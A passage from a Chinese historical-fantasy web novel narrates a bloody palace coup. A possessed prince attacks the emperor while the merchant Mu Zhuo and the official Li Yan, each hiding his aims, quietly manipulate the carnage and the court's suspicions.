他口中喷溅着唾沫,手指胡乱点着,将平日里与他政见不合、或是在某些利益上阻碍过他的官员,几乎都囊括了进去。
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>每一句指控都空洞无力,缺乏实质证据,却充满了恶毒的暗示。
只想借着皇帝惊怒交加、心神失守的当口,将政敌一网打尽。
混乱中,李琰不知何时已悄悄爬起来,瑟缩着躲到了一个身材高大的禁卫军官身后。
努力降低着自己的存在感。
有人注意到他,低声询问:“李主簿?方才乱起时,你去了何处?可曾受伤?”
李琰身体一抖,脸上立刻堆起惊魂未定的谄笑。
声音带着刻意压低的、劫后余生的颤抖:
“哎呦……别提了!下官……下官贪杯,方才在、在‘揽月画楼’多喝了几杯花酒。”
“醉得厉害,出来透风时……就听见杀声震天!”
“吓得腿都软了!”
“好不容易才连滚带爬地……躲、躲到了这里……”
他一边说着,一边心虚地偷瞄了一眼皇帝和三皇子的方向,身体又往军官身后缩了缩。
慕酌冷眼旁观,眉头几不可察地一蹙。
画楼吃酒?
方才他分明就在这内院之中!
为何要撒谎?
这个看似只会寻欢作乐、胆小如鼠的主簿,此刻的行为透着一股说不出的怪异。
这时,三皇子那番漏洞百出的攀咬正说到激动处,唾沫横飞。
一个被点名的老臣气得浑身发抖,颤巍巍地指着三皇子:“三殿下!你……你血口喷人!老臣……”
“够了!”
一声低沉却极具穿透力的喝斥响起,并非来自皇帝,而是慕酌。
他一步上前,面色沉静如水,目光却锐利如刀锋,扫过三皇子那张因激动而扭曲的脸。
声音不高,却压过了场中的嘈杂:
“三殿下忧心陛下,悲愤之情可以理解。然此刻宫闱未靖,乱党未清。”
“当务之急乃是肃清残敌,护卫陛下周全,救治伤者,稳定人心。”
“至于幕后真凶,自有陛下明察秋毫,刑部与大理寺详加勘查,岂能在此危局之下,仅凭臆测便攀咬忠良?”
他话语沉稳,句句在理。
瞬间将三皇子那番胡搅蛮缠的指控衬得如同儿戏。
几个被无辜攀咬的官员顿时投来感激的目光。
“你这个,腌臜的商人!”三皇子气得手指发抖,支支吾吾一个字一个字往外蹦。
“胡,胡言乱语!父皇,你别信他,他不能信啊!”
三皇子着急,在大殿之上甚至跺起了脚,全然不顾那位“父皇”现在是生命垂危。
李琰躲在军官身后,听到慕酌的话,眼中那丝鄙夷瞬间化为了惊愕。
随即又闪过一丝极其隐晦的、近乎幸灾乐祸的光芒。
他像是被提醒了什么,小心翼翼地探出半个脑袋。
用一种看似恭敬、实则带着微妙刺探的语气,细声细气地插话道:
“慕先生所言……甚是稳妥。”
“只是……三殿下也是关心则乱,拳拳孝心,天地可鉴啊!”
“殿下方才奋不顾身第一个冲来护驾,这份赤诚,实乃……实乃众皇子之楷模。”
“令下官等……望尘莫及啊!”
“定然没有其他心思!”
他刻意将“心思”二字咬得略重。
52. 叛军?
“众皇子之楷模”这种虚高的帽子扣上去,在眼下大皇子刚行刺、皇帝惊魂未定、遍地血腥的当口。
这番“夸赞”简直如同在油锅里泼水。
果然,皇帝那因剧痛和恐惧而浑浊的眼睛,在听到“其他心思”、“众皇子之楷模”时,猛地一缩!
他捂着伤口的指节因用力而泛白,视线如同淬了毒的针,缓缓地、阴沉沉地钉在了三皇子身上。
那眼神里,惊惧未退,却骤然升腾起浓烈的猜忌和一丝被冒犯的暴怒!
三皇子脸上的“悲愤”瞬间僵住,血色褪尽。
他猛地扭头,目光如同毒蛇般射向躲在人后的李琰,又惊又怒。
李琰却迅速低下头,又缩了回去,仿佛刚才只是出于“崇敬”的肺腑之言。
慕酌冷冷地看着这一切,心中那因宛楪而起的滔天怒火。
此刻被眼前这更加诡谲凶险的宫廷化作一片冰寒的警惕。
他目光掠过皇帝阴沉暴怒的脸,掠过三皇子煞白惊怒的脸,最后,越过混乱的人影和冲天的火光。
落向内院深处。
那里,清冷的月辉依旧笼罩着那片小小的天地。
宛楪的身影,在重重侍卫的拱卫下,依旧茕茕孑立,仰首望月。
血色的瞳孔映照着远处的火光,却依旧空洞漠然,仿佛这人间炼狱般的厮杀与倾轧。
这一切只是她脚下尘埃里的一场微末闹剧。
金紫色的神女服饰在火光与月色的交织下,流转着妖异而冰冷的光泽。
她被保护得密不透风,如同北国皇帝长生梦中最珍贵也最诡异的祭品。
风暴的核心,似乎从未离开过那片被月光和血色笼罩的方寸之地。
慕酌按在胸前的手指,无意识地收紧,仿佛还能感受到那一点被强行烙印下的、灼烫的屈辱。
金属撞击的锐响骤然逼近神女院门!一道扭曲的身影嘶吼着扑来,刀锋直劈而下!
慕酌软剑疾格,火花迸溅!
顺势一脚将其踹入假山,碎石纷飞中拉起李琰:
“走!”
李琰肩头血色更浓,咬牙跟上。两人身影在廊柱间疾闪,刀光剑影追魂索命!
慕酌剑招狠辣精准,每击必中关节喉管,清出通路。李琰踉跄却总能“恰好”避开致命流矢。
冲出院门刹那,慕酌猛地回望。
月华如练,“神女”依旧毫无保留地倾泻在那方寸之地。
宛楪茕茕孑立,血瞳仰望着虚无的月亮,周身笼罩的薄透银纱仿佛凝固的时光。
院墙外是修罗地狱,墙内是死寂的祭坛。
几个杀红眼的叛军嘶吼着试图冲进院内,刀锋甫一触及那片银辉笼罩的范围,竟如同撞上无形铜墙!
最前一人的刀身骤然爬满锈蚀,寸寸断裂!手臂以诡异角度反折,发出令人牙酸的骨裂声!
他惨叫着倒地翻滚,眼耳口鼻中渗出黑血,很快便没了声息。
后面几人骇然止步,惊恐地望着院内那抹血色身影,仿佛看到了比死亡更恐怖的存在,连连后退,再不敢靠近分毫。
慕酌收回目光,嘴角掠过一丝难以察觉的冷峭。他拽起发愣的李琰,低喝道:“别停!”
沿途宫人奔逃哭喊,瓷器碎裂声不绝。一个婢女蜷缩角落,怀中紧攥油纸包,眼神惊惶躲闪。
撞开垂花门,喊杀声浪扑面!
火光将夜幕撕开血红口子,人影如鬼魅般纠缠厮杀!
“是…是大殿下!”一个披头散发的宫女瘫倒在慕酌脚边,手指颤巍巍指向远处那疯狂身影。
“他疯了…见人就杀…”
慕酌目光骤寒。李琰倒吸凉气,脸上“惊惧”真切三分,眼底却深不见底。
断臂残肢点缀着朱红宫墙,琉璃瓦碎屑混着血水黏腻沾鞋底。昔日威严肃穆荡然无存。
官员冠冕歪斜抱头鼠窜,嫔妃珠钗落地任人践踏。烈焰吞噬绫罗帷幔,焦臭味窒息。
那抹非人血红在混乱中格外刺眼,所过之处如镰刀割麦,留下遍地哀嚎与残缺躯壳。
慕酌挥剑荡开流矢,冷眼扫过这人间炼狱。李琰喘息着靠住焦木,视线掠过满地狼藉,无声收紧拳。
廊道,已不复往日的畅通无阻,俨然化作一座人间炼狱。
一具具尸体横七竖八地陈放着,殷红的血水肆意流淌,无情地漫过那原本绣金的华丽地毯。
吸饱了鲜血的锦缎,沉甸甸地仿佛承载着无数冤魂,每一脚踩上去,都能感受到它粘滞地拉扯着靴底,发出令人毛骨悚然的声响。
突然,一支冷箭“嗖”地擦着慕酌的耳际呼啸飞过,尖锐的破风声在耳畔瞬间炸开,紧接着深深钉入身后的廊柱之中。
箭尾在剧烈的震颤下,发出“嗡嗡”的声响,久久不绝,仿佛在诉说着这混乱局势的惊心动魄。
李琰“哎呦”一声,整个人几乎是紧紧贴着慕酌的后背,狼狈地躲过这致命一击。
此刻的他,气息急促而紊乱,脸上的血色如潮水般迅速褪去。
那副惊恐万状的模样,竟不似全然是装出来的。
就在这时,三名眼珠赤红如血的叛军,从拐角处疯狂地嘶吼着扑来。
他们手中的刀锋已然卷刃,却依然带着一种不死不休的疯狂劲儿,仿佛被某种邪恶的力量驱使着。
慕酌面无惧色,不退反进,手中的软剑瞬间划出一道冰冷的弧光,宛如一道闪电,精准无比地削向最先扑来之人的手腕。
只听得“咔嚓”一声脆响,那人的手腕应声而断,手中的利刃“当啷”落地。
几乎在同一瞬间,慕酌反手一刺,软剑的剑尖如灵蛇般迅猛地没入第二人的咽喉,鲜血如泉涌般喷出。
然而,第三人瞅准时机,举刀狠狠劈向李琰。李琰仿佛被吓得呆若木鸡,僵立在原地。
可就在刀锋即将触及身体的千钧一发之际,他猛地一个趔趄。
“噗通”一声“摔倒”在地,恰好绊倒了那名叛军。
那叛军猝不及防,整个人向前扑出,重重地摔在地上。
慕酌眼疾手快,补上一剑,结果了他的性命。
随后,慕酌冷眼如冰,扫过正“手忙脚乱”爬
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起的李琰,却未发一言,只是迅速转身,继续朝着前方行进。
越靠近主殿,抵抗愈发激烈,混乱的程度也愈发令人心悸。
熊熊燃烧的火焰,无情地吞噬着丝绸帷幔,滚滚黑烟如狰狞的恶魔,肆意翻涌升腾,呛得人几乎睁不开眼,呼吸也变得艰难而痛苦。
一处偏殿的门洞大开,里面骤然传来女子凄厉的哭喊,那声音仿佛一把锐利的刀子,直直刺入人心,紧接着是器物被砸碎的杂乱声响。
然而,这阵喧嚣旋即又归于死寂,只余下火焰燃烧时发出的“噼啪”声,仿佛在为刚刚消逝的生命奏响挽歌。
终于,他们奋力冲出一段长廊,眼前的景象豁然开朗。
正是通往主殿的长廊!
然而,呈现在眼前的景象,却令人窒息到几近昏厥。
早已没有完整的阵型可言,俨然成了无数个捉对厮杀的修罗场。
侍卫、叛军,甚至那些惊慌失措的宫人,全都混战成一团。刀剑挥舞间,寒光闪烁,无情地砍向穿着同样服饰的同僚,鲜血飞溅,模糊了人们的双眼。
断臂与宫灯的残骸杂乱地混在一起,被无数双慌乱的脚肆意践踏,渐渐被碾成泥污。
与血水交融在一起,散发出令人作呕的气息。
昔日象征着无上皇权的汉白玉丹陛,此刻已被鲜血染成了暗红,仿佛被一层血色的幕布所覆盖。
上面滚落着碎裂的冠冕,以及不知属于谁的肢体,显得格外凄惨与悲凉。
远处高耸的主殿,门窗多处破损不堪,宛如一头受伤的巨兽。
里面火光闪烁不定,兵刃交击声、咒骂声、垂死之人的哀嚎声,如汹涌的浪潮般源源不断地涌出,交织成一曲绝望的悲歌。
一群官员瑟缩在广场一角巨大的铜鹤香炉后,平日里威风凛凛的官袍,此刻已沾满了污损与血迹。
他们面如土色,眼神中充满了恐惧与绝望,听着近在咫尺的厮杀声,浑身瑟瑟发抖,仿佛一群待宰的羔羊。
一个内侍监打扮的老者,抱着头从主殿方向惊慌失措地狂奔而出,嘴里发出惊恐的呼喊。
可没跑几步,便被一支流矢射中后背,“啊”的一声惨叫,整个人扑倒在地。
身体剧烈地抽搐了几下,便再也不动弹,只留下一滩殷红的血迹在地上蔓延。
烈焰疯狂地升腾着,滚滚热浪扭曲了空气,将每个人脸上的恐惧、疯狂、绝望都放大得如同鬼魅。
在这扭曲的光影下,人们的面容显得格外狰狞与可怖。
慕酌手持软剑,静静地伫立在这混乱的中心,目光如冰片般冷峻,缓缓刮过这一片沸腾的混乱。
李琰则靠在一根烧焦的梁柱旁,大口大口地喘息着。
肩头伤口渗出的鲜血,如小溪般汩汩流淌,渐渐染红了他的官袍。
他望着那片血腥弥漫的丹陛,眼底深处仿佛有无数无形的丝线在飞速缠绕、盘算,眼神冰冷而锐利。
仿佛在谋划着一场不为人知的阴谋。
空气里,浓郁的血腥味几乎凝成了实质,厚重得让人喘不过气来。
53. 躲得真准
混合着焦糊味、硝烟味,还有一种淡淡的、甜腻到令人作呕的异香。
那异香仿佛来自那些被打翻的丹炉,为这混乱血腥的场景填了一些诡异的混乱。
冲出长廊前的最后一段拐角,阴影中冷不丁猛地撞出一个人影!
是个宫女。
她发髻蓬乱,几缕发丝肆意垂落,满面烟灰,像是刚从一场大火中侥幸逃出。
可奇怪的是,她并不似旁人那般惊惶失措地奔逃,反而死死抱住一个鼓囊囊的锦绣包袱。
低着头,脚步匆匆地朝着与主殿相反的、更为幽深的宫苑方向疾行。
待撞见慕酌二人,她浑身猛地一颤,犹如受惊的小鹿。
下意识地将包袱更紧地搂在胸前。
她眼神闪烁不定,其中竟透着一种奇异的决绝与警惕。
而后侧身紧贴着墙壁,迅速隐没在阴影之中,眨眼间便消失得无影无踪。
慕酌目光陡然一凛。
李琰喘着粗气,低声喃喃道:
“那宫女…”
话尚未说完,前方的杀声陡然更加炽烈!
他们终于奋力冲至丹陛广场边缘。
眼前的景象,宛如一幅人间炼狱图,令人窒息。
曾经威严肃穆的皇权中心,此刻已全然沦为混乱与死亡的修罗场。
殷红的血水,如汹涌的暗流,漫过汉白玉石阶,粘稠的质感紧紧裹住靴底,每迈出一步都倍感艰难。
断肢残骸与破碎的宫灯,在无数慌乱奔逃的脚下被肆意践踏,渐渐化为泥污,与血水交融,散发着令人作呕的气息。
熊熊火焰无情地吞噬着绫罗帷幔,滚滚黑烟如狰狞的恶魔。
张牙舞爪地升腾而起,刺鼻的气味呛得人不住咳嗽。
口鼻间满是苦涩。
官员们的冠冕歪歪斜斜,与尖叫着的嫔妃们相互推搡、踩踏,往日的威严与矜持早已荡然无存。
就在这片混乱的中央,那抹非人的血红身影显得格外刺目。
“大皇子”的动作僵硬而机械,却又透着一股力大无穷的蛮劲。
只见他手中长剑一挥,寒光闪过,一名挡路的侍卫便被生生劈开,鲜血飞溅。
他面无表情,眼神空洞,继续朝着主殿的方向步步紧逼,所经之处,众人皆惊恐地四散奔逃
与此同时,两名眼中泛着同样诡异红光的叛军,如疯狂的野兽般嘶吼着,恶狠狠地扑向慕酌和李琰!
他们手中长刀挥舞,凌厉的刀风带着不死不休的疯狂杀意,仿佛要将眼前的一切都斩碎。
慕酌眼神瞬间一冷,犹如深冬的寒潭,透着彻骨的冰冷。
手中软剑如灵动的毒蛇吐信,“嗖”地一声,精准地格开劈向自己的刀锋。
紧接着,他手腕猛地一抖,剑身犹如灵蛇般蜿蜒前行。
剑尖如毒牙般精准地刺入对方咽喉。
鲜血喷涌而出,那叛军瞪大双眼,缓缓倒下。
几乎在同一时刻,另一把刀已挟着凌厉的风声砍至李琰面门!
李琰“惊恐”地向后跌倒,看似慌乱笨拙。
却恰好让刀锋擦着鼻尖险险掠过。
他顺势狼狈地翻滚在地,趁着叛军一愣神的功夫,迅速抓起地上一把沙子,扬手朝着叛军的眼睛狠狠撒去!
慕酌趁势踏步向前,脚步沉稳而有力,手中剑光一闪,如一道闪电划过,干净利落地结果了第二个敌人的性命。
他气息平稳,神色未改,目光冷冷扫过正手忙脚乱爬起的李琰。
殿门处,景象更是不堪入目。
北国皇帝早已狼狈地跌下龙椅,明黄龙袍被撕开一道大口子。
肩胛处草草包扎的布料,此刻已被鲜血彻底浸透,殷红的血迹不断蔓延。
他瘫坐在龙椅后的金阶上,发冠已然脱落,花白的头发凌乱地粘在冷汗涔涔的额角,显得狼狈至极。
昔日那充满威严、睥睨天下的眼睛里,此刻只剩下最原始的恐惧。
瞳孔因极度惊骇而放大,死死盯着殿外那步步逼近的血色身影,眼神中满是绝望。他嘴唇剧烈地哆嗦着。
发出一连串无意义的嗬嗬声,身体也因剧痛和恐惧而不住颤抖,如同秋风中飘零的残叶。
那位曾“忠勇护驾”的李琰李主簿,看局势混乱,竟然“吓”的得。
跑到了正“虚弱”地靠在皇帝不远处的蟠龙金柱下!
真不知道他是有意还是无意。
他官袍凌乱不堪,肩头的血色如绽放的妖冶花朵般肆意蔓延,脸色苍白得如同白纸。
呼吸急促而微弱,仿佛随时都会昏厥过去。
但若仔细观察,便能发现他靠柱的角度极为巧妙。
就在慕酌解决掉两名叛军的瞬间,李琰眼中精光一闪即逝。
他抓住这短暂的间隙,佯装捂着伤口,脚步虚浮却又极为迅速地踉跄挪动。
竟“恰好”躲到了刚刚冲上正在结阵的一小队禁卫军身后!
他低垂着头,装作力竭的模样,却将自己完美地隐藏在了安全的甲胄屏障之后。
“护…护驾!”
“禁军!禁军何在!”
“快!快把他们全都杀了!”
皇帝猛地发出一声撕心裂肺的、破了音的尖叫,声音尖锐得如同夜枭的哀鸣。
他手指胡乱地指向殿外所有晃动的人影,眼神中充满了濒死的绝望和无差别的疯狂。
仿佛此刻他眼中所见,皆是要取他性命的恶魔。
仿佛是在响应他的绝望呼喊。
殿外广场边缘,沉重的甲胄碰撞声如闷雷般滚滚响起!
更多黑衣黑甲的禁卫军终于冲破混乱,如黑色的铁流般汹涌涌入广场!
他们阵型森严,刀戟如林,在阳光下闪烁着冰冷的寒光。禁卫军们表情冷峻,沉默而迅速地开始绞杀那些眼中泛着红光的叛军。
凭借着训练有素的配合与锋利的制式兵刃,混乱的局势很快便得到了遏制。
为首的禁军统领大步踏上丹陛,身上的盔甲染满了鲜血,宛如从血海之中走出的战神。
他声如洪钟,响彻整个大殿:“陛下!臣等救驾来迟!逆贼即刻便可肃清!”
看到禁军到来,皇帝如同濒死之人抓住了最后一根救命浮木,猛地喘过一口气。
然而身体却因过度脱力而颤抖得更加剧烈,涕泪纵横,语无伦次地喊道:
“好…好!杀!都给朕杀了!”
“一个不留!”
“一个不留!!”
李琰躲在禁卫军身后,适时地发出几声更加痛苦的呻吟。
仿佛被陛下的“天威”和周围弥漫的杀气所震慑
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,愈发显得“忠心耿耿”与“伤重可怜”。
慕酌冷眼旁观着这一切,持剑的手缓缓垂下。
剑尖上一滴浓稠的鲜血,悄然坠落。
无声地渗入被血污浸透的沙土,如同这片混乱与杀戮的一个小小注脚。
殿门轰然洞开,一股非人的腥风,如汹涌的暗流,裹挟着一道身着残破蟒袍的身影。
猛地撞入殿内。
他每踏出一步,脚下的青石板便发出不堪重负的呻吟,仿佛在为皇家那已然破碎的威仪而悲叹。
此人的双眸,宛如两潭凝固且沸腾着的血海,浓稠的红光好似随时都会滴落,令人胆寒。
他的视线所及之处,无人胆敢与之对视,那目光之中,既不见愤怒,亦无野心。
唯有一片空洞的、仿佛要将世间万物都化为齑粉的毁灭指令,在熊熊燃烧。
在嫔妃的人群里,一位珠翠凌乱的贵妃,猛地抬手捂住自己的嘴,指甲深深地掐进掌心的皮肉之中。
她华美的宫装下摆,在无意识间被紧紧绞着,指节因用力而泛出青白之色。
她那原本妩媚的凤眼中,此刻倒映着儿子那非人的模样,惊骇的深处,一丝如同陈年毒药般的悔意,
如同一柄锐利的冰锥,猝不及防地刺穿了她的心肺。
她的思绪瞬间被拉回到多年前,那碗为了巩固自己恩宠而悄无声息喂下的“安神汤”……
今日这恶果……
她喉咙里发出一声极轻微的、仿佛被硬生生掐断的呜咽,瞬间便被周围此起彼伏的尖叫所淹没。
“逆子!畜生!”
皇帝的声音因恐惧和愤怒而尖利得走了调,龙袍上的暗红色血迹不断地洇开,犹如一朵盛开的妖冶血花。
“朕是你父皇!”
“你竟做出这等猪狗不如之事!天打雷劈的孽种!”
然而,这般咒骂却显得苍白无力,反而透露出他色厉内荏的恐慌。
臣子们一个个面无人色,虽随声附和着唾骂,可脚步却不由自主地向后缩退,目光闪躲不定,生怕被那充满杀意的血瞳盯上。
那“大皇子”对一切咒骂充耳不闻,喉咙里发出犹如拉风箱般的嗬嗬声。
他那僵硬的身躯,陡然爆发出令人可怕的速度,如同一头发狂的野兽,直朝着皇帝扑去!
侍卫们纷纷举刀挺剑,刀剑砍在他身上,发出沉闷的声响,伤口深可见骨。
可他却仿佛感受不到任何痛楚,只是凭借着一股蛮劲,不顾一切地向前猛冲!
刹那间,血影如鬼魅般暴起!
裹挟着一股令人胆寒的杀意,那凌厉的剑风仿佛要将空气生生撕裂,径直朝着皇帝的面门凶狠劈去!
侍卫们反应迅速,手中刀锋闪电般抬起格挡。
“锵!”金铁交鸣声尖锐刺耳,似要刺破众人的耳膜,无数火星如飞溅的流萤,在昏暗的光线中迸射而出。
就在这电光石火之间,慕酌身形如电,侧身迅猛切入。
他手中软剑宛如灵动的毒蛇吐信,以迅雷不及掩耳之势,朝着对方腕脉疾点而去。
然而,那“大皇子”似有某种诡异的反应,身形陡然一晃,剑尖偏斜,只是擦着龙袍边缘掠过。
“嘶啦”一声,华贵的布料应声裂开。
紧接着,传来一声非人的嘶吼!
54. 失控
杀声震天,那抹癫狂的血红身影在人群中左冲右突。
力大无穷,动作却带着一种诡异的僵硬感。
仿佛被无形丝线操控的傀儡。
慕酌持剑护在看似惊慌的皇帝侧前方,眼神却如冰片般冷静地扫过全场。
他的视线几次若有似无地掠过“大皇子”的身影,尤其是在其动作出现短暂凝滞或方向略有偏差时。
侍卫的长枪险些刺中“大皇子”后心,慕酌恰好在此时格开侧面飞来的一支流矢。
身体“不经意”地撞了那侍卫一下,长枪瞬间刺偏,只划破了袍角。
这一撞力道不大,却让连带着前面的“大皇子”僵直的身体失去了平衡。
向前一个趔趄!就这一个微小的破绽,让原本严密的防御圈出现了一道转瞬即逝的缺口!
当“大皇子”偶尔极度靠近慕酌时,他血瞳中的红光会呈现出一种极其细微的不稳定。
仿佛受到了某种干扰。
而慕酌按在剑柄上的手指,会无意识地、极其轻微地叩击一下,节奏奇特。
“大皇子”血瞳中的红光似乎剧烈地闪烁了一下,仿佛接收到了某种混乱的指令。
他发出一声更加非人的咆哮,竟不顾身后砍来的刀剑,凭借着蛮力硬生生从那个缺口撞了过去!目标直指惊骇欲绝的皇帝!
慕酌在这一刻,嘴角几不可察地向下压紧了一瞬。
不是紧张,而是一种极度专注下的满意。
他如同一个最高明的弈者,看着棋盘上的棋子终于按照预设的路线落下。
他并未继续追击或做出任何明显的引导动作,只是再次挥剑荡开飞向皇帝的零星箭矢。
姿态完美地扮演着一个“忠心的商人”。
他每一次看似无意间的移动,每一次恰到好处的格挡或闪避,都微妙地影响着周围战局的细小流向。
如同溪流中的暗礁,不知不觉地将那艘名为“疯狂”的舟楫,引向既定的瀑布口。
空气中弥漫的,除了血腥,还有一丝极淡的、若有若无的奇异香料气味。
又被浓重的硝烟和焦糊味掩盖。
这些细节混杂在极度混乱的战场中,微不足道。
除了……
某个一直用眼角余光死死盯住慕酌、自身也精通算计的。
李琰。
除了他捕捉到一丝违和外,无人察觉。
电光石火之间,一直瑟缩在一旁的李琰,眼底陡然闪过一丝精光。
紧接着,他发出一声夸张的、带着哭腔的嘶喊:
“陛下小心!”
可身体却像是不受控制般“笨拙”地踉跄起来,竟“恰好”扑撞向皇帝的身侧!
“噗——”伴随着一声利刃切入皮肉的钝响,李琰的肩头瞬间绽开一朵艳丽的血花。
他“痛呼”一声,软软地倒在地上,气息微弱地说道:
“陛…下…快…走…”
那伤口的位置、倒下的姿态,精准得仿佛经过了精心丈量。
慕酌见此情景,瞳孔骤然收缩。
这真不像不小心的简单的“护驾”之举!
那恰到好处的角度和时机,更像是一场算计好的苦肉计,甚至……
有意无意地将皇帝暴露得更多了几分。
而那位“大皇子”竟将臂膀生生反折,以一种扭曲而恐怖的姿态,再度朝着皇帝疯狂扑上。
侍卫们的刀剑纷纷砍在他身上,伤口深可见骨,殷红的鲜血汩汩流出。
可他却好似毫无痛楚之感,依旧步步紧逼,那股疯狂的劲头令人毛骨悚然。
一阵浓烈的腥风扑面而来!
慕酌神色一凛,疾步向后闪退。
与此同时,他手中剑尖顺势划出一道耀眼的银弧,如同一道坚固的屏障,试图封挡这一波猛烈的攻击。
“砰!”巨力传来,震得慕酌虎口一阵发麻,手中软剑险些脱手飞出。
那“大皇子”血瞳中凶光毕露,锁定慕酌后,第二剑以更快更狠的势头刺出,目标直指慕酌心窝,仿佛要将他一击毙命。
慕酌反应极快,身形如陀螺般急速旋身,衣袂随风飘飞。
这一剑擦着他的身体险之又险地刺过,剑锋带起的劲风犹如利刃,刮得他脸颊生疼,留下一道浅浅的红印。
一时间,场上陷入短暂的僵持。
“大皇子”血瞳中的红光剧烈闪烁,仿佛在进行着某种激烈的挣扎。
而慕酌看着虽气息微微紊乱,但持剑的手却稳如磐石。
目光紧紧盯着对手,这是,失控了?
慕酌眼神冰冷如霜,瞬间做出反应,指尖飞出一枚铜扣,如同一颗夺命流星。
带着破风之声疾射而出,精准无比地命中“大皇子”持剑的关节。
只听得一声令人牙酸的骨骼错位声,那只持剑的手猛地一滞,动作戛止。
趁着这短暂的攻势稍缓,慕酌顺势将软剑灵巧地缠绕上去,巧妙地一引一卸。
另一边,李琰已倒地不起,肩头的血色如绽放的妖冶花朵,迅速蔓延开来。
就在这混乱之际,他眼中没了恐惧,思索片刻精光一闪,仿佛在暗中谋划着什么。
“大皇子”顿了顿,又朝着皇帝走过来。
似乎刚才一击未能将皇帝毙命,有些不满。
血瞳缓缓转动,那染血的剑锋再次高高抬起!
皇帝瘫软在地,口中不停咒骂,那声音却瞬间淹没在金属碰撞的尖啸声中,显得如此渺小而无力。
就在这千钧一发之际,慕酌的身影如鬼魅般疾掠而出,指尖弹出一枚不起眼的铜扣,精准无比地击中了“大皇子”持剑的手腕关节!
这一击力道巧妙,虽让其动作猛地一滞,却未留下任何明显的痕迹。
与此同时,他腰间的软剑如银蛇出洞,以一种精妙的手法,顺势一引一卸,将那股非人的巨力巧妙地引偏了几分。
李琰皱了皱眉,他强压下心头的惊疑,深知此刻容不得他过多思考。
剑锋擦着他的衣袂呼啸而过,带起的劲风如刀割般刮得他脸颊生疼。
“大皇子”的那股蛮劲被瞬间带偏,手中剑锋深深地劈入廊柱之中,“咔嚓”一声,木屑纷飞四溅,散落在地。
周围的侍卫们趁机合围而上,刀光剑影交织成一张密不透风的大网,将“大皇子
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”困在中央。
此时,空气中弥漫着血和炉子里“香”的味道,每一次呼吸都仿佛经过铁锈般的血腥味,令人窒息。
“护驾!快制住他!”
慕酌沉稳地低喝一声,这声音仿佛带着一种无形的力量,瞬间压下了场中的部分慌乱。
他眼角的余光快速扫过全场,只见混乱、恐惧、猜忌与阴谋交织在一起。
一切都如同他精心布置的剧本般在上演,甚至比他预想的更为“精彩”。
除了那个生变的“大臣”,不过……
一丝冰冷的满意,如同狡黠的毒蛇,悄然滑过他的心间。
“大皇子”的身体猛地一震,血瞳中的红光似乎闪烁了一下,原本狂暴的动作出现了一瞬间的凝滞。
他喉咙里的嗬嗬声变得断断续续,竟缓缓收剑,僵硬地转身,似乎想要就此离去。
“拦…拦住他!朕要将他千刀万剐!”
皇帝瘫软在地,声嘶力竭地嘶喊着,声音却因失血和恐惧而失去了力气。
慕酌手持长剑,并未追击。
他心里清楚,今夜的目的已然达成,留下活口,只会带来更多的麻烦。
就在这时,一直“昏迷”在地上的李琰,却发出极轻的、仿佛无意识的呓语。
声音细若游丝,却清晰地钻入了附近几人的耳中:
“……逆党凶悍……恐有同伙接应……纵虎归山,后患无穷啊……”
皇帝浑浊的眼睛猛地瞪大,一丝狠厉瞬间取代了眼中的恐惧:
“对!不能放他走!给朕追!格杀勿论!”
慕酌心头猛地一凛,猛地转过头,目光如电般直射向地上看似奄奄一息的李琰。
李琰恰在此时“悠悠转醒”,虚弱地抬起眼皮,与慕酌的目光撞在一起。
刹那间,四目相对,空气中仿佛有无形的刀锋在交错碰撞!
李琰眼底深处,在那看似虚弱的表象之下,隐藏着洞悉一切的冰冷和一丝近乎挑衅的探究。
而慕酌的眼神,则沉静如深邃的渊潭,却又带着毫不掩饰的警告之意。
仅仅只是一瞬,李琰便迅速垂下眼帘,捂住伤口,开始呻吟起来,仿佛刚才只是神志不清时的胡言乱语。
慕酌强压下内心翻涌的杀意,转身面向皇帝,语气恢复了恭谨:
“陛下,龙体为重!逆贼已然陷入疯魔,力大无穷且不畏死伤,此刻强行追击,恐怕只会徒增侍卫的伤亡,惊扰陛下圣驾。”
“不如先行稳固宫防,救治伤员,待陛下伤势稳定之后,再布下天罗地网,徐徐图之,此乃上策。”
皇帝捂着伤口,因剧痛和失血而头脑昏沉,觉得慕酌的话颇有道理,不禁迟疑起来。
李琰却又虚弱地开口,气息奄奄,每一个字都清晰可闻:
“慕先生……所言……甚是体恤将士……”
“只是……陛下受此惊扰,若不能即刻诛杀元凶。”
“恐怕……恐怕会郁结于心,于龙体安康大为不利……”
“那些侍卫……食君之禄……这皆是他们分内之事……”
“就算是……死了,他们……也该感恩!”
55. 交锋和利益
这番话语,将皇帝的任性惜命以及对士卒的轻贱,巧妙地包裹在了一层“忠君体国”的糖衣之下。
直到“大皇子”最终冲破阻碍,扑向皇帝,完成那场“弑父”的惊悚戏码结束。
慕酌垂眸拭去剑锋血痕时,那眼神深处一闪而过的,并非庆幸,也非后怕,而是一种……
验收成果的冰冷平静。
眼前这尸山血海、皇室倾轧,不过是他早已推演过无数遍的剧本。
而今晚,一切只是按计划上演。
血腥厮杀渐歇,那抹癫狂的血红终究冲破重围,消失在宫墙暗影深处。
禁军统领跪地请罪,皇帝胸膛剧烈起伏,未能吐出一句完整斥责。
慕酌指节拭过剑锋,一抹残血蹭上锦缎。
他垂眸凝视那暗红,眼底深处掠过一丝极淡的、冰封般的满意,快得无人捕捉。
慕酌的目光再次与李琰撞上。这一次,两人都没有立刻移开视线。
空气中弥漫着无声的硝烟,仿佛一场没有硝烟的战争正在悄然上演。
李琰苍白嘴角那一丝几乎无法察觉的弧度,带着冰冷的嘲弄。
而李琰也看到了,慕酌眼底深处那一闪而过的、如同被触及逆鳞般的寒芒。
破碎的丹炉碎片散落在地,反射着跳跃的火光,映在两人对视的瞳孔之中。
仿佛将无数个扭曲的世界碎片投入彼此眼底。
“疯了…真是疯了…”三皇子拍着胸口,脸上惊魂未定,语调却抑不住地上扬。
“大哥平日虽荒唐,何至于此?”
“莫非…莫非是练了那邪门的长生术走了火?”
他目光“无意”扫过几位素与大殿下来往密切的官员。
“说不定,是有人撺掇的!”
李琰由禁军搀扶着,气息微弱,却把这话打断了。
“殿下…所言…或许…有理…只是可怜陛下受此惊吓…”
他咳嗽起来,肩头血色又渗几分,眼神却似无意般掠过慕酌沾血的指尖。
廊柱阴影下,一个不起眼的小太监无声退入暗处,指尖比了个奇异的手势。
远处宫墙根,那先前抱着包袱的宫女身影一闪,匆匆钻入通往废苑的狗洞。
“报——!”
一名侍卫疾奔而至,跪地喘息,“禀陛下!逆…逆贼已冲出西华门,沿途…沿途侍卫伤亡惨重!”
皇帝猛地一抖,龙袍下的腿控制不住地轻颤。他张了张嘴,最终只挤出破碎的音节:
“追…给朕…追…”
声音虚浮,再无往日威严。
